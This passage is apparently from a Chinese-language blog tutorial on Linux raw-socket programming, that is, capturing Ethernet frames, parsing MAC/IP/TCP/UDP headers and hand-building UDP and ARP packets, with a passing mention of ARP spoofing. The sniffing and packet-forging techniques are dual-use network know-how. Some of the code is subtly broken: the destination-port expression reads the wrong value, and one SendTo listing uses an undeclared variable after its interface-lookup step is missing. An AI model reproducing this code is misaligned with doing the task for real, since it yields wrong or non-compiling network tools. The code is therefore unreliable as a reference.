    ipHd->daddr = inet_addr("192.168.141.1");//目的IP

    //校验IP报文首部(不会)
    ipHd->check = checksum((unsigned short *) ipHd, 20);

    /*udp报文*/
    struct udphdr *udpHdr = (struct udphdr *) (buf + 14 + 20);//buf+mac报文长度+IP报文长度

    udpHdr->source = htons(8000);//非必要，除非需要对方回数据给你
    udpHdr->dest = htons(8000);//必须值，指定要发送目的地的端口
    udpHdr->uh_ulen = htons(8 + data_len);//UDP数据报长度 -> UDP首部长度 + 数据长度
    udpHdr->check = htons(0);//和IP报文一样，先置零，后计算填充

    //拷贝数据到UDP数据部分
    memcpy(buf + (14 + 20 + 8), data, data_len);

    //创建伪头部
    unsigned char checksumPackage[512] = "";
    struct pseudoHeader *udpPseudo = (struct pseudoHeader *) checksumPackage;
    udpPseudo->sAddr = inet_addr("192.168.141.128");
    udpPseudo->dAddr = inet_addr("192.168.141.1");
    udpPseudo->flag = 0;
    udpPseudo->pro = 17;//协议
    udpPseudo->len = htons(8 + data_len);//UDP头部长度 + 数据长度

    //组校验包,在伪首部后面加上UDP首部和数据
    memcpy(checksumPackage + 12, buf + 14 + 20, 8 + data_len);
    //进行校验，得到校验和并赋值
    udpHdr->check = checksum((unsigned short *) checksumPackage, 8 + 12 + data_len);//udp首部 + 伪首部 + 数据长度

    SendTo(sockFd, buf, 14 + 20 + 8 + data_len, "ens33");


    //释放资源
    close(sockFd);
    return 0;
}

最后修改：2024 年 05 月 18 日

如果觉得我的文章对你有用，请随意赞赏

发表评论取消回复
已启用评论审核，评论将在审核后显示

评论 *

私密评论

名称 *

🎲

邮箱

地址

Linux网络编程-原始套接字

HonestLiu • 2024 年 05 月 10 日

<h2><a id="content-一概述" href="#content-一概述" class="heading-permalink" aria-hidden="true" title="Permalink"></a>一.概述</h2>
<h3><a id="content-1介绍" href="#content-1介绍" class="heading-permalink" aria-hidden="true" title="Permalink"></a>1.介绍</h3>
<blockquote>
<p>使用原始套接字<mark>需要管理员权限</mark></p>
</blockquote>
<p>**原始套接字(SOCK_RAW):**是一种不同于<code>SOCK_STREAM</code>、<code>SOCK_DGRAM</code>的套接字，它实现于系统核心，可以接收本机网卡上的所有的数据帧(数据包)，对于监听网络流量和分析网络数据很有用，开发人员可发送自己组装的数据包到网络上，广泛应用于高级网络编程</p>
<h3><a id="content-2数据的收发" href="#content-2数据的收发" class="heading-permalink" aria-hidden="true" title="Permalink"></a>2.数据的收发</h3>
<p>**流式套接字只能收发：**TCP 协议的数据</p>
<p>**数据报套接字只能收发：**UDP 协议的数据</p>
<p><strong>原始套接字可以收发：</strong></p>
<ul>
<li>
<p>内核没有处理的数据包，因此要访问其他协议</p>
</li>
<li>
<p>发送的数据需要使用，原始套接字(SOCK_RAW)</p>
</li>
</ul>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/wps1H4WODNW0jL202405101922e6b3b3b8fafe80dd.png" style="zoom:50%;" />
<h2><a id="content-二相关函数" href="#content-二相关函数" class="heading-permalink" aria-hidden="true" title="Permalink"></a>二.相关函数</h2>
<h3><a id="content-1创建原始套接字" href="#content-1创建原始套接字" class="heading-permalink" aria-hidden="true" title="Permalink"></a>1.创建原始套接字</h3>
<p><strong>函数定义:</strong></p>
<pre><code class="language-c">#include <sys/socket.h>
#include <netinet/ether.h>
int socket(int domain, int type, int protocol);
</code></pre>
<p>**功能:**创建链路层原始套接字</p>
<p><strong>参数:</strong></p>
<ul>
<li>
<p>**domain：**PF_PACKET</p>
</li>
<li>
<p>**type:**SOCK_RAW</p>
</li>
<li>
<p>**protocol：**指定可以接收或发送的数据包类型</p>
<blockquote>
<p>该参数需要使用<code>htons</code>将下面参数转成网络大端后填写</p>
</blockquote>
<ul>
<li>
<p>ETH_P_IP:IPV4 数据包</p>
</li>
<li>
<p>ETH_P_ARP:ARP 数据包</p>
</li>
<li>
<p>ETH_P_ALL:任何协议类型的数据包</p>
</li>
</ul>
</li>
</ul>
<p><strong>返回值:</strong></p>
<ul>
<li>成功:返回链路层套接字</li>
<li>失败：返回-1</li>
</ul>
<hr />
<p><strong>示例:</strong></p>
<pre><code class="language-c">sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
</code></pre>
<h3><a id="content-2原始套接字接收数据" href="#content-2原始套接字接收数据" class="heading-permalink" aria-hidden="true" title="Permalink"></a>2.原始套接字接收数据</h3>
<p>**简述:**原始套接字的数据接收使用<code>recvfrom</code>函数完成，不过因为是在链路层接收数据，少了网络传输层对数据的解包，所以即使设置了SockerAddr结构体也会没有数据，这里直接置<code>NULL</code>即可</p>
<p><strong>函数定义:</strong></p>
<pre><code class="language-c">#include <sys/types.h>
#include <sys/socket.h>

ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
                 struct sockaddr *src_addr, socklen_t *addrlen);
</code></pre>
<p><strong>参数:</strong></p>
<ul>
<li>
<p>**sockfd:**原始套接字</p>
</li>
<li>
<p>**buf:**存储读取帧数据的<code>unsigned char</code>数组</p>
<p>这个数组的长度一般设置为<strong>1500</strong>，因为一帧数据通常即为<strong>1500</strong></p>
</li>
<li>
<p>**flags:**设置为0即可</p>
</li>
<li>
<p>**src_addr和addrlen：**置<code>NULL</code>即可</p>
</li>
</ul>
<p>**返回值:**接收到数据的长度</p>
<hr />
<p><strong>示例:</strong></p>
<pre><code class="language-c">unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
</code></pre>
<h3><a id="content-3原始套接字发送数据" href="#content-3原始套接字发送数据" class="heading-permalink" aria-hidden="true" title="Permalink"></a>3.原始套接字发送数据</h3>
<h4><a id="content-1介绍-1" href="#content-1介绍-1" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)介绍</h4>
<p><strong>简述:<strong>原始套接字的数据发送是通过<code>sendto</code>发生</strong>完整的帧数据</strong>的，不过和接收数据一样，原始套接字的数据发送是处于链路层的，其发送面向的SockAddr结构体记录的是本地主机出去的<strong>网卡地址</strong></p>
<h4><a id="content-2函数介绍" href="#content-2函数介绍" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)函数介绍</h4>
<h5><a id="content--sendto-数据发送" href="#content--sendto-数据发送" class="heading-permalink" aria-hidden="true" title="Permalink"></a>① sendto-数据发送</h5>
<h6><a id="content-ⅰ函数定义" href="#content-ⅰ函数定义" class="heading-permalink" aria-hidden="true" title="Permalink"></a>Ⅰ.函数定义</h6>
<pre><code class="language-c">#include <sys/types.h>
#include <sys/socket.h>

ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
               const struct sockaddr *dest_addr, socklen_t addrlen);
</code></pre>
<p><strong>参数:</strong></p>
<ul>
<li>
<p>sockfd:原始套接字</p>
</li>
<li>
<p>buf:完整的帧数据</p>
<p>需要手动的组帧</p>
</li>
<li>
<p>len：帧的实际长度</p>
</li>
<li>
<p>flags：写0即可</p>
</li>
<li>
<p>dest_addr：本地主机帧数据出去的网卡地址</p>
<p>由<strong>sockaddr_ll</strong>结构体转成的通用套接字结构体，具体见下</p>
</li>
<li>
<p>addrlen：通用套接字结构体的长度</p>
</li>
</ul>
<p><strong>返回值:</strong></p>
<ul>
<li>成功：返回实际发送的字节数</li>
<li>失败：返回<code>-1</code>,并设置全局错误变量<code>errno</code>
</li>
</ul>
<h6><a id="content-ⅱsockaddrll结构体" href="#content-ⅱsockaddrll结构体" class="heading-permalink" aria-hidden="true" title="Permalink"></a>Ⅱ.SockAddr_ll结构体</h6>
<blockquote>
<p>就本次使用原始套接字发送数据而言，只需要对<code>sll_ifindex</code>进行赋值即可</p>
</blockquote>
<p><strong>头文件:</strong><code><netpacket/packet.h></code></p>
<p><strong>结构体定义:</strong></p>
<pre><code class="language-c">struct sockaddr_ll {
    unsigned short sll_family;   /* 地址族，一般为PF_PACKET */
    unsigned short sll_protocol; /* 上层的协议类型 */
    int            sll_ifindex;  /* 接口类型 */
    unsigned short sll_hatype;   /* 报头类型 */
    unsigned char  sll_pkttype;  /* 包类型 */
    unsigned char  sll_halen;    /* 地址长度 */
    unsigned char  sll_addr[8];  /* MAC地址 */
};
</code></pre>
<h5><a id="content--ioctl-本地机接口数据获取" href="#content--ioctl-本地机接口数据获取" class="heading-permalink" aria-hidden="true" title="Permalink"></a>② Ioctl-本地机接口数据获取</h5>
<h6><a id="content-ⅰ函数定义-1" href="#content-ⅰ函数定义-1" class="heading-permalink" aria-hidden="true" title="Permalink"></a>Ⅰ.函数定义:</h6>
<pre><code class="language-c">#include <sys/ioctl.h>

int ioctl(int fd, unsigned long request, ...);
</code></pre>
<p><strong>参数：</strong></p>
<ul>
<li>
<p>fd:设备文件描述符</p>
</li>
<li>
<p>request:控制命令编号</p>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/wps1IYhHIAABWN202405111352e6b3b3b8fafe80dd.png" style="zoom:50%;" />
</li>
<li>
<p>可选参数</p>
<ul>
<li>目前这里只要填写接收获取到接口的<code>struct ifreq</code>结构体即可</li>
</ul>
</li>
</ul>
<h6><a id="content-ⅱifreq结构体" href="#content-ⅱifreq结构体" class="heading-permalink" aria-hidden="true" title="Permalink"></a>Ⅱ.Ifreq结构体</h6>
<p>**使用：**这个结构体的作用，简单说更像是封装本地机接口类型作为Ioctl函数的参数以获取本地接口数据以供给sockaddr_ll结构体赋值之用</p>
<p><strong>头文件:</strong><code>#include <net/if.h></code></p>
<p><strong>结构体定义:</strong></p>
<pre><code class="language-c">struct ifreq
  {
# define IFHWADDRLEN    6
# define IFNAMSIZ       IF_NAMESIZE
    union
      {
        char ifrn_name[IFNAMSIZ];       /* Interface name, e.g. "en0".  */
      } ifr_ifrn;

union
      {
        struct sockaddr ifru_addr;
        struct sockaddr ifru_dstaddr;
        struct sockaddr ifru_broadaddr;
        struct sockaddr ifru_netmask;
        struct sockaddr ifru_hwaddr;
        short int ifru_flags;
        int ifru_ivalue;
        int ifru_mtu;
        struct ifmap ifru_map;
        char ifru_slave[IFNAMSIZ];      /* Just fits the size */
        char ifru_newname[IFNAMSIZ];
        __caddr_t ifru_data;
      } ifr_ifru;
  };
</code></pre>
<h4><a id="content-3函数封装" href="#content-3函数封装" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(3)函数封装</h4>
<blockquote>
<p>使用的时候可以直接调用这个发送帧数据</p>
</blockquote>
<pre><code class="language-c">/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name；网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体，并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

//使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}
</code></pre>
<h2><a id="content-三报文分析接收" href="#content-三报文分析接收" class="heading-permalink" aria-hidden="true" title="Permalink"></a>三.报文分析(接收)</h2>
<blockquote>
<p>[!TIP]
<strong>参考：</strong> 参考计算机基础-网络基础中各个报文的详细结构
<strong>分析顺序：</strong> 基于原始套接字从链路层开始一层层向上分析报文数据</p>
</blockquote>
<h3><a id="content-1接收帧数据" href="#content-1接收帧数据" class="heading-permalink" aria-hidden="true" title="Permalink"></a>1.接收帧数据</h3>
<p><strong>步骤:</strong></p>
<ul>
<li>定义<code>1500</code>长度的char数组，用以接收帧数据</li>
<li>使用<code>recvfrom()</code>函数接收帧数据(无需定义SocketAddr结构体接收，这里是位于链路层，不会有数据)</li>
</ul>
<p><strong>实现:</strong></p>
<pre><code class="language-c">unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
</code></pre>
<h3><a id="content-2mac报文解析" href="#content-2mac报文解析" class="heading-permalink" aria-hidden="true" title="Permalink"></a>2.MAC报文解析</h3>
<h4><a id="content-1解析目的源mac地址" href="#content-1解析目的源mac地址" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)解析目的、源mac地址</h4>
<p><strong>步骤:</strong></p>
<ul>
<li>
<p>定义两个<code>18</code>长度的数组接收目的mac<code>dst_mac</code>和源mac<code>src_mac</code></p>
<p>长度<code>18</code>的来源就是mac地址的位数 --> <code>10-F6-0A-5B-DE-1C</code> 共18位</p>
</li>
<li>
<p>使用<code>%02x</code>作为占位符从帧数据中解析mac数据，每次移动1位(基于mac报文的设计)</p>
</li>
</ul>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715351982931-a48c694a-be8a-4e51-bb67-7408396ed387.pngo6hrqOhPiR2024051111570b35d407667327f3.png" alt="image.png" style="zoom:50%;"  style="">
<p><strong>实现:</strong> buf是接受到的帧数据</p>
<pre><code class="language-c">/*解析mac报文*/
char dst_mac[18] = "";//10-F6-0A-5B-DE-1C，共18位
char src_mac[18] = "";
printf("%s\n", buf);
//解析目的mac地址
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
        buf[5]);
//解析源mac地址，向后移动6位让其到达源mac位置
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
        buf[3 + 6], buf[4 + 6], buf[5 + 6]);
</code></pre>
<h4><a id="content-2解析mac报文类型" href="#content-2解析mac报文类型" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)解析mac报文类型</h4>
<p><strong>步骤:</strong></p>
<ul>
<li>
<p>记录帧数据的数组向前移动12位即可得到<strong>报文类型</strong>了(报文设计)<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715352496866-bf5201ed-f756-41db-83aa-737448b8b36b.pngKxf8EXSR3m202405111157be70d93b7fb67211.png" style="zoom:50%;" /></p>
</li>
<li>
<p>不过在使用前需要使用<code>ntohs()</code>函数将其从网络大端转为主机的小端</p>
</li>
</ul>
<p><strong>实现:</strong></p>
<pre><code class="language-c">//获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
if (mac_type == 0x0800) {
    printf("上层为IP报文\n");
} else if (mac_type == 0x0806) {
    printf("上层为arp报文\n");
} else if (mac_type == 0x8035) {
    printf("上层为RARP报文\n");
}
</code></pre>
<h3><a id="content-3解析ip报文" href="#content-3解析ip报文" class="heading-permalink" aria-hidden="true" title="Permalink"></a>3.解析IP报文</h3>
<blockquote>
<p>建立在上面mac解析的<code>mac_type</code>类型是IP报文的基础上的</p>
</blockquote>
<p><strong>前期操作:</strong> 先在帧数据的基础上<code>+14</code>移动到IP报文区域,方便后继操作</p>
<pre><code class="language-c">unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组，具体见前面
</code></pre>
<h4><a id="content-1解析协议类型" href="#content-1解析协议类型" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)解析协议类型</h4>
<p><strong>步骤:</strong></p>
<ul>
<li>取IP报文区域的第<code>9</code>个字节的数据即可得到协议的类型代号(是一个长度为1的<code>unsigned char</code>字符串)</li>
</ul>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715385334206-9e06abfb-53da-4924-b7fb-5ef07222b199.pnguhPBIG2KBx202405111157d155f3e70a3a5b55.png" alt="Snipaste_2024-05-10_22-55-22.png" style="zoom:50%;"  style="">
<ul>
<li>后继根据报文设计对类型代码进行判断确定具体的协议类型即可</li>
</ul>
<p><strong>实现：</strong></p>
<pre><code class="language-c">unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组，具体见前面

/*解析协议类型*/
unsigned char ip_type = Ip[9];
if (ip_type == 1) {
    printf("IP报文协议类型为ICMP\n");
}
if (ip_type == 2) {
    printf("IP报文协议类型为IGMP\n");
}
if (ip_type == 6) {
    printf("IP报文协议类型为TCP\n");
}
if (ip_type == 17) {
    printf("IP报文协议类型为UDP\n");
}
</code></pre>
<h4><a id="content-2解析源ip和目的ip" href="#content-2解析源ip和目的ip" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)解析源IP和目的IP</h4>
<p><strong>步骤:</strong></p>
<ul>
<li>
<p>定义两个长度为<strong>16</strong>的字符串接收源IP和目的IP</p>
<p>IPv4地址的最大长度（包括点分隔符）是15个字符，包括<code>\0</code>后即16</p>
</li>
<li>
<p>移动指针到帧数据的源IP位置，并使用<code>inet_ntop</code>将大端转为小端即可获得源IP，目的IP同理</p>
</li>
</ul>
<p><strong>实现:</strong></p>
<pre><code class="language-c">
unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组，具体见前面
/*解析IP源、目的地址*/
char src_ip[16] = "";
char dst_ip[16] = "";//192.168.141.254\0,共16位
//解析源IP
inet_ntop(AF_INET, Ip + 12, src_ip, 16);
//解析目的IP
inet_ntop(AF_INET, Ip + 16, dst_ip, 16);
        
printf("源IP:%s;目的IP:%s", src_ip, dst_ip);
</code></pre>
<h3><a id="content-4tcp和udp报文分析" href="#content-4tcp和udp报文分析" class="heading-permalink" aria-hidden="true" title="Permalink"></a>4.TCP和UDP报文分析</h3>
<blockquote>
<p>UDP同理，根据其报文结构调整下面的程序即可，不另外说明</p>
</blockquote>
<h4><a id="content-1ip报文头部长度获取" href="#content-1ip报文头部长度获取" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)IP报文头部长度获取</h4>
<p><strong>原因:</strong> 因为IP报文设计中存在一个<strong>选项(32位)</strong>,其可有可无，致使我们无法直接确定IP报文头部的长度，也就无法确定数据(TCP和UDP报文所在)位在帧数据中的起始值
<strong>获取方法:</strong> 通过IP报文中的<strong>首部长度(4位)</strong>，获取报文的长度，不过其只占用了<code>ip[0]</code>中的低4位，剩下的高4位需要与上16进制的<code>0x0f</code>去掉，最后需要<code>*4</code>，因为头部长度是以32位字(4字节)为单位给出的,所以必须乘4才能得到实际的报文头部长度
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715388246211-11bd8a33-21f6-4763-a00c-d4e90a0ca383.pngIxOHb6HhEi202405111157dd91e818388fa9be.png" alt="image.png" style="zoom:50%;"  style=""></p>
<p><strong>实现:</strong>  <code>int ip_head_len = (ip[0] & 0x0f) * 4;</code></p>
<h4><a id="content-2解析tcp报文端口" href="#content-2解析tcp报文端口" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)解析TCP报文端口</h4>
<p><strong>步骤:</strong></p>
<ul>
<li>在Ip报文头部的基础上向后移动Ip报文的头部长度即可得到TCP报文的起始位置</li>
<li>每个端口占2个字节长度，移动两次并大端转小端即可得到端口信息了</li>
</ul>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715388463258-a12d17cb-4617-4402-8cf8-e10f7737599d.png5jiXztrnGL2024051111571f5558d37397af88.png" style="zoom:50%;" />
**实现:**
<pre><code class="language-c">//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;

//解析源端口和目的端口
unsigned short src_port = ntohs(*(unsigned short *) Tcp);
unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);
</code></pre>
<h4><a id="content-3获取tcp报文数据" href="#content-3获取tcp报文数据" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(3)获取TCP报文数据</h4>
<p>**注意事项:**TCP头部长度字段表示TCP头部的长度，但它的单位是32位字（4字节）。这意味着，TCP头部长度字段的值乘以4才能得到TCP头部的实际长度，以字节为单位。如果你不乘以4，得到的值将不会是TCP头部的实际长度，而只是TCP头部长度字段的原始值
<strong>步骤:</strong></p>
<ul>
<li>
<p>先从TCP报文的**头部长度(4位)**中获取TCP报文的头部长度</p>
<p>① 取TCP报文首地址起始第12位字节的高4位，即向低4位清0</p>
<p>② 再位移4个字节，获取的高4位位移到最低端，因为TCP头部是以32位为单位的所以需要将这4位位移到最低端才好处理</p>
<p>③ 将高4位清0，保证正确性</p>
<p>④ 因为<strong>头部长度</strong>的范围是4,乘4才能得到真实的长度
<code>int tcp_head_len = (((tcp[12]&0xf0)>>4)&0x0f)*4;</code></p>
</li>
</ul>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715391642308-c2086ecf-06f2-403f-b51f-e8d95829f408jdkMJRWcp520240511115899cc447cb4df5565.png" style="zoom:50%;" />
<ul>
<li>最后在TCP报文的起始位置加上TCP报文头部长度的位置开始的内容就是<strong>报文数据</strong>了</li>
</ul>
<p><strong>实现:</strong></p>
<pre><code class="language-c">//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;

//计算TCP报文的长度
int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;

//打印获取到的数据
printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);
</code></pre>
<h3><a id="content-5完整代码" href="#content-5完整代码" class="heading-permalink" aria-hidden="true" title="Permalink"></a>5.完整代码</h3>
<p><strong>代码:</strong></p>
<pre><code class="language-c">#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char const *argv[]) {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
        return 0;
    }
    printf("create sock_raw:%d\n", sockFd);
    while (1) {
        /*接收完整的帧数据*/
        unsigned char buf[1500] = "";
        recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);//此处是在链路层接收数据，无需设置socketAddr结构体接收数据，无意义

/*解析mac报文*/
        char dst_mac[18] = "";//10-F6-0A-5B-DE-1C，共18位
        char src_mac[18] = "";
        printf("%s\n", buf);
        //解析目的mac地址
        sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
                buf[5]);
        //解析源mac地址，向后移动6位让其到达源mac位置
        sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
                buf[3 + 6], buf[4 + 6], buf[5 + 6]);

printf("目的mac:%s,源mac:%s\n", dst_mac, src_mac);

//获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
        unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
        if (mac_type == 0x0800) {
            /*解析IP报文*/
            printf("上层为IP报文\n");
            //移动帧的位置到IP报文的区域，并使用ip记录其起始值
            unsigned char *Ip = buf + 14;

//解析协议类型*
            unsigned char ip_type = Ip[9];
            if (ip_type == 1) {
                printf("IP报文协议类型为ICMP\n");
            }
            if (ip_type == 2) {
                printf("IP报文协议类型为IGMP\n");
            }
            if (ip_type == 6) {
                printf("IP报文协议类型为TCP\n");

/*解析TCP报文*/
                //获取IP报文的长度
                int ip_head_len = (Ip[0] & 0x0f) * 4;
                //移动Ip报文位置到TCP报文位置
                unsigned char *Tcp = Ip + ip_head_len;

//计算TCP报文的长度
                int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;

//打印获取到的数据
                printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);

}
            if (ip_type == 17) {
                printf("IP报文协议类型为UDP\n");

/*解析UDP报文*/
                //获取IP报文的长度
                int ip_head_len = (Ip[0] & 0x0f) * 4;
                //移动Ip报文位置到UDP报文位置
                unsigned char *Udp = Ip + ip_head_len;

//解析源端口和目的端口
                unsigned short src_port = ntohs(*(unsigned short *) Udp);
                unsigned short dst_port = ntohs(*(unsigned short *) Udp + 2);
                printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

//打印获取到的数据
                printf("UDP报文的数据为:%s\n", Udp + 8);
            }

//解析IP源、目的地址
            char src_ip[16] = "";
            char dst_ip[16] = "";//192.168.141.254\0,共16位
            //解析源IP
            inet_ntop(AF_INET, Ip + 12, src_ip, 16);
            //解析目的IP
            inet_ntop(AF_INET, Ip + 16, dst_ip, 16);

printf("源IP:%s;目的IP:%s\n", src_ip, dst_ip);

} else if (mac_type == 0x0806) {
            printf("上层为arp报文\n");
        } else if (mac_type == 0x8035) {
            printf("上层为RARP报文\n");
        }

}

close(sockFd);
</code></pre>
<p>**效果:**获取到的数据出现乱码是正常的，因为这里是临时当它是字符串打印的，实际是什么谁也拿不准</p>
<pre><code class="language-c">目的mac:00:50:56:c0:00:08,源mac:00:0c:29:c1:d3:13
上层为IP报文
源IP:192.168.141.128;目的IP:192.168.141.1
IP报文协议类型为TCP
源端口:22;目的端口:534
TCP报文的数据为:aQ�&y9�I���B����,u�
</code></pre>
<h2><a id="content-四报文组包发送" href="#content-四报文组包发送" class="heading-permalink" aria-hidden="true" title="Permalink"></a>四.报文组包(发送)</h2>
<h3><a id="content-1获取某个pc的mac地址" href="#content-1获取某个pc的mac地址" class="heading-permalink" aria-hidden="true" title="Permalink"></a>1.获取某个PC的Mac地址</h3>
<h4><a id="content-1arp报文" href="#content-1arp报文" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)ARP报文</h4>
<h5><a id="content--结构" href="#content--结构" class="heading-permalink" aria-hidden="true" title="Permalink"></a>① 结构</h5>
<img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/image-20240511153258583imHlHnd7mx2024051115326955a2655903292f.png" style="zoom: 50%;" />
<h5><a id="content--组包请求包" href="#content--组包请求包" class="heading-permalink" aria-hidden="true" title="Permalink"></a>② 组包(请求包)</h5>
<blockquote>
<p>这里是手动组包，实际不太这么整，具体看下面ARP欺骗那种结构体组包</p>
</blockquote>
<p><strong>目的mac地址:</strong><code>ff:ff:ff:ff:ff:ff</code></p>
<ul>
<li>请求的ARP包，这里填<code>ff:ff:ff:ff:ff:ff</code>,会将该请求发送给局域网的所有设备</li>
</ul>
<p><strong>源mac地址:</strong><code>00:0c:29:c1:d3:13</code></p>
<ul>
<li>这是本机的mac地址，通过<code>ifconfig</code>获取</li>
</ul>
<p><strong>帧类型:</strong><code>0x0806</code></p>
<ul>
<li>自然是ARP类型啦</li>
</ul>
<p><strong>硬件类型:</strong><code>0001</code></p>
<ul>
<li>即十进制的1，表示以太网地址</li>
</ul>
<p><strong>协议类型:</strong><code>0x0800</code></p>
<ul>
<li>即IP</li>
</ul>
<p>**硬件地址长度:**6</p>
<ul>
<li>固定的,且直接以十进制形式填写</li>
</ul>
<p>**协议地址长度:**4</p>
<ul>
<li>固定的，且直接以十进制形式填写</li>
</ul>
<p>**OP:**这里填ARP请求，即1，填2进制数-><code>0001</code></p>
<p>**源mac地址:**本机的mac地址</p>
<p>**源IP:**本机的IP地址</p>
<p>**目的Mac地址：**对于请求的ARP包，这里直接填<code>00:00:00:00:00:00</code>即可</p>
<p>**目的IP:**目的主机的IP地址</p>
<pre><code class="language-c">unsigned char ArpPack[512] = {
    //------------------mac头------------------
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址，请求即未知，使用ff:ff:ff:ff:ff:ff*/
        0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
        0x08, 0x06,/*帧类型*/
        //------------------arp头------------------
        0x00, 0x01,/*硬件类型*/
        0x08, 0x00,/*协议类型*/
        6,/*硬件地址长度*/
        4,/*协议地址长度*/
        0x00, 0x01,/*arp请求报文*/
        0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
        192, 168, 141, 128,/*源IP*/
        0, 0, 0, 0, 0, 0,/*目的mac地址*/
        192, 168, 141, 1/*目的IP*/

};
</code></pre>
<h4><a id="content-2完整代码" href="#content-2完整代码" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)完整代码</h4>
<p>**代码:**这个代码是虚拟机(<code>192.168.141.128</code>)请求宿主机(<code>192.168.141.1</code>)mac地址的代码</p>
<pre><code class="language-c">#include <sys/socket.h>
#include <netinet/ether.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name；网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

//使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

int main() {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

/*发出ARP请求*/

//组ARP包
    unsigned char ArpPack[512] = {
            //------------------mac头------------------
            0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址，请求即未知，使用ff:ff:ff:ff:ff:ff*/
            0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
            0x08, 0x06,/*帧类型*/
            //------------------arp头------------------
            0x00, 0x01,/*硬件类型*/
            0x08, 0x00,/*协议类型*/
            6,/*硬件地址长度*/
            4,/*协议地址长度*/
            0x00, 0x01,/*arp请求报文*/
            0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
